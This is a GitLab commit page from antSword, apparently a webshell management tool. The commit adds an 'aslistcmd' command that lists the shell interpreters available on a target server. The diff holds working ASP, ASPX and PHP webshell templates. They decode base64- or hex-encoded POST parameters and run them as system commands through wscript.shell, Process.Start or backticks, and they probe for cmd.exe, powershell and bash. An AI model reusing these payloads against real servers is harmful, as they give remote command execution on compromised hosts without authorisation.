Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
6d2b0724
Commit
6d2b0724
authored
Apr 05, 2019
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
(Enhance:Terminal) 新增自定义命令 `aslistcmd`, 列出可使用的命令解释器 (#123)
parent
4dcb460a
Changes
7
Show whitespace changes
Inline
Side-by-side
Showing
7 changed files
with
85 additions
and
2 deletions
+85
-2
CHANGELOG.md
CHANGELOG.md
+7
-0
command.js
source/core/asp/template/command.js
+16
-0
command.js
source/core/aspx/template/command.js
+10
-0
command.js
source/core/php/template/command.js
+7
-1
en.js
source/language/en.js
+1
-0
zh.js
source/language/zh.js
+1
-0
index.js
source/modules/terminal/index.js
+43
-1
No files found.
CHANGELOG.md
View file @
6d2b0724
...
...
@@ -10,6 +10,13 @@
*
Fix 编码器保存后不生效的问题 #135 (thx @K4ngx)
*
Fix core download 参数遗漏问题 #142 (thx @RoyTse)
### 虚拟终端
*
新增自定义命令
`aslistcmd`
, 列出可使用的命令解释器 (#123)


### 其它
*
修复默认设置保存时导致 bookmarks 清空的问题
...
...
source/core/asp/template/command.js
View file @
6d2b0724
...
...
@@ -8,5 +8,21 @@ module.exports = (arg1, arg2) => ({
`Set X=CreateObject("wscript.shell").exec(""""&bd(Request("
${
arg1
}
"))&""" /c """&bd(Request("
${
arg2
}
"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`
,
[
arg1
]:
"#{hex::bin}"
,
[
arg2
]:
"#{hex::cmd}"
},
listcmd
:
{
_
:
`AA=Split(""&bd(Request("
${
arg1
}
"))&"",","):
Set FS=CreateObject("Scripting.FileSystemObject"):
For Each A in AA:
Response.Write(A&chr(9)):
If FS.FileExists(A) Then:
Response.Write("1"):
Else:
Response.Write("0"):
End If:
Response.Write(chr(10)):
Next
`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
"#{hex::binarr}"
,
}
})
source/core/aspx/template/command.js
View file @
6d2b0724
...
...
@@ -8,5 +8,15 @@ module.exports = (arg1, arg2) => ({
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg1
}
"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg2
}
"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`
,
[
arg1
]:
"#{base64::bin}"
,
[
arg2
]:
"#{base64::cmd}"
},
listcmd
:
{
_
:
`var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg1
}
"]));
var ss=binarr.split(",");
var i;
for(var i in ss){
Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
}`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
"#{base64::binarr}"
,
}
})
source/core/php/template/command.js
View file @
6d2b0724
...
...
@@ -47,7 +47,13 @@ module.exports = (arg1, arg2) => ({
[
arg1
]:
"#{base64::bin}"
,
[
arg2
]:
"#{base64::cmd}"
},
listcmd
:
{
_
:
`$arr=explode(",",base64_decode($_POST["
${
arg1
}
"]));
foreach($arr as $v){
echo($v."\t".(file_exists($v)?"1":"0")."\n");
}`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
"#{base64::binarr}"
,
},
quote
:
{
_
:
`$p=base64_decode($_POST["
${
arg1
}
"]);$s=base64_decode($_POST["
${
arg2
}
"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``
,
...
...
source/language/en.js
View file @
6d2b0724
...
...
@@ -203,6 +203,7 @@ module.exports = {
help
:
'Enter ashelp to view local commands'
,
ashelp
:
`Usage:
ascmd file\t\tExecute the command with file, eg: ascmd /bin/bash
aslistcmd\t\tList available command interpreters
quit\t\tClose terminal
exit\t\tClose terminal
...
...
source/language/zh.js
View file @
6d2b0724
...
...
@@ -204,6 +204,7 @@ module.exports = {
help
:
'输入 ashelp 查看本地命令'
,
ashelp
:
`使用帮助:
ascmd file\t\t指定file来执行命令, eg: ascmd /bin/bash
aslistcmd\t\t列出可使用的命令解释器
quit\t\t关闭终端
exit\t\t关闭终端
...
...
source/modules/terminal/index.js
View file @
6d2b0724
...
...
@@ -150,6 +150,48 @@ class Terminal {
term
.
echo
(
LANG
[
'ascmd'
][
'ashelp'
]);
return
;
}
if
(
cmd
===
'aslistcmd'
){
var
binarr
=
""
;
if
(
this
.
isWin
)
{
binarr
=
[
"C:/Windows/System32/cmd.exe"
,
"C:/Windows/SysWOW64/cmd.exe"
,
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe"
,
"C:/Windows/SysWOW64/WindowsPowerShell/v1.0/powershell.exe"
,
].
join
(
','
);
}
else
{
binarr
=
[
"/bin/sh"
,
"/bin/ash"
,
"/bin/bash"
,
"/bin/zsh"
,
"/bin/busybox"
,
].
join
(
','
);
}
this
.
core
.
request
(
this
.
core
.
command
.
listcmd
({
binarr
:
binarr
,
})
).
then
((
ret
)
=>
{
let
res
=
ret
[
'text'
];
if
(
res
.
indexOf
(
"ERROR://"
)
>
-
1
){
throw
res
;
}
let
result
=
""
;
res
.
split
(
'
\
n'
).
map
((
v
)
=>
{
var
line
=
v
.
split
(
'
\
t'
);
if
(
line
.
length
==
2
){
var
r
=
parseInt
(
line
[
1
])
===
1
?
'[[b;#15af63;]OK]'
:
'[[b;#E80000;]FAIL]'
;
result
+=
`
${
line
[
0
]}
\t\t\t
${
r
}
\n`
;
}
});
term
.
echo
(
result
);
term
.
resume
();
}).
catch
((
err
)
=>
{
term
.
resume
();
});
return
;
}
if
(
cmd
.
substr
(
0
,
5
)
===
'ascmd'
)
{
var
sessbin
=
cmd
.
substr
(
5
).
trim
();
if
(
sessbin
.
length
>
0
){
...
...
@@ -230,7 +272,7 @@ class Terminal {
// < 1.0.0 时使用3个参数 completion: (term, value, callback) => {}
completion
:
(
value
,
callback
)
=>
{
callback
([
'ashelp'
,
'ascmd'
,
'quit'
,
'exit'
'ashelp'
,
'ascmd'
,
'
aslistcmd'
,
'
quit'
,
'exit'
].
concat
(
this
.
isWin
?
[
'dir'
,
'whoami'
,
'net'
,
'ipconfig'
,
'netstat'
,
'cls'
,
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment